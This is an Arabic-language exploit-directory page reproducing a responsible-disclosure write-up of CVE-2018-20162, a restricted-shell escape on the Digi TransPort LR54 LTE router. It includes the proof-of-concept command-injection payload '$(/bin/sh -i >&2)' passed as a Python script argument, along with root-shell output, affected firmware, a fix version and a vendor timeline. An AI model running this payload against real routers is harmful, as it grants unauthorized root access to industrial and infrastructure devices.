Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2018-20162-digi-lr54-restricted-shell-escape — استغلال إثبات المفهوم لـ CVE-2018-20162: هروب من صندوق الحماية في جهاز التوجيه Digi TransPort LR54 LTE عبر خلل في معالجة SIGINT، مما يمنح وصولاً إلى جذر الصدفة. | Kitploit
أدوات/GitHubGitHub/stigtsp/cve-2018-20162-digi-lr54-restricted-shell-escape
أمان الأنظمة المدمجةتصعيد الامتيازاتأمان إنترنت الأشياءتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقأمان الأجهزة وإنترنت الأشياءالفريق الأحمر

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
stigtsp/cve-2018-20162-digi-lr54-restricted-shell-escape

CVE-2018-20162-digi-lr54-restricted-shell-escape

استغلال إثبات المفهوم لـ CVE-2018-20162: هروب من صندوق الحماية في جهاز التوجيه Digi TransPort LR54 LTE عبر خلل في معالجة SIGINT، مما يمنح وصولاً إلى جذر الصدفة.

عرض المستودع
229منذ 7 سنواتلم تتم المراجعة بعد

layout: post title: "CVE-2018-20162: الهروب من القشرة المقيدة في Digi TransPort LR54" author: sgo category: security

جهاز Digi TransPort LR54 هو موجه (راوتر) LTE عالي السرعة يُستخدم بشكل شائع في القطاع الصناعي والبنية التحتية وتجارة التجزئة والنقل العام.

يدعم تشغيل نصوص بايثون في بيئة عزل مقيدة (sandbox)، ويوفر قشرة مخصصة (shell) يمكن الوصول إليها عبر SSH وتخضع لنفس القيود. وبالتالي فإن نظام التشغيل الأساسي لا يمكن الوصول إليه من قِبل المسؤول.

لقد وجدت طريقة للخروج من بيئة العزل والحصول على قشرة جذر (root shell) عبر استغلال الطريقة التي تتعامل بها واجهة الأوامر (CLI) مع وسائط سطر الأوامر عند تنفيذ نصوص بايثون:

عندما تستقبل عملية بايثون تفاعلية إشارة SIGINT (عبر CTRL-C)، لا يتم تهريب وسائط النص البرمجي بشكل صحيح عند تمريرها إلى معالج تسجيل الأخطاء في واجهة الأوامر التفاعلية. وهذا يتيح للمهاجم تنفيذ أوامر عشوائية بصلاحيات الجذر.

لاستغلال هذه الثغرة، يحتاج المهاجم إلى وصول تفاعلي إلى واجهة الأوامر بصلاحيات 'super'. المستخدم الذي يمتلك هذا المستوى من الوصول يكون مفعّلًا افتراضيًا على الجهاز.

الأجهزة المتأثرة

جهاز Digi Transport LR54 (وربما منتجات ذات صلة مثل WR64 وWR54)

إصدار البرنامج الثابت : 4.4.0.26 10/29/2018 21:14:06 إصدار البرنامج الثابت : 4.3.2.24 09/06/2018 00:58:34

وربما إصدارات أقدم

التخفيف

يجب على المستخدمين الترقية إلى إصدار البرنامج الثابت 4.5.1.4 أو أحدث. كما ينبغي تغيير الأسرار المخزنة على الجهاز، مثل المفاتيح الخاصة وعبارات المرور، كإجراء احترازي.

إثبات المفهوم

  1. ارفع sleep.py إلى جهاز LR54 باستخدام scp أو sftp، بحيث يحتوي على:
import time;time.sleep(10)
  1. نفّذ الأمر التالي في واجهة أوامر LR54:
python sleep.py --XXX $(/bin/sh -i >&2)
  1. اضغط فورًا على CTRL-C بعد بدء تشغيل البرنامج

  2. ستجد نفسك بعد ذلك في قشرة جذر تفاعلية

/home/digi/user # uname -a
Linux (none) 3.10.14 #1 SMP Mon Oct 29 16:18:10 CDT 2018 mips GNU/Linux
/home/digi/user # id
uid=0(root) gid=2000(users_rw) groups=2000(users_rw),2002(users_super)

الجدول الزمني

  • 2018-12-13: تم اكتشاف الثغرة
  • 2018-12-14: تم إنشاء إثبات المفهوم، وتم إخطار البائع
  • 2018-12-14: أكد البائع وجود الثغرة، حظر إفصاح لمدة 60 يومًا. تم التقديم للحصول على CVE.
  • 2018-12-15: تم تخصيص CVE-2018-20162
  • 2018-12-31: تم استلام نسخة من البرنامج الثابت قبل إصدارها الرسمي. تم التأكد من عدم وجود الثغرة.
  • 2019-01-02: أصدر البائع برنامجًا ثابتًا مُصلحًا 4.5.1.4
  • 2019-01-25: قام البائع بتحديث ملاحظات الإصدار للإشارة إلى CVE-2018-20162
  • 2019-02-13: وافق البائع على الإفصاح، وتم رفع الحظر

المراجع

  • https://www.digi.com/products/networking/cellular-routers/digi-transport-lr54
  • http://ftp1.digi.com/support/firmware/transport/LR54/v4.5.1.4/93001306_L.pdf
  • https://www.digi.com/resources/security
  • https://blog.hackeriet.no/cve-2018-20162-digi-lr54-restricted-shell-escape
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20162

الاعتمادات

تم اكتشاف الثغرة بواسطة Stig Palmquist.

شكرًا لـ @duniel_pls و@alexanderkjall على مراجعة هذا التقرير.

تنزيل الأداة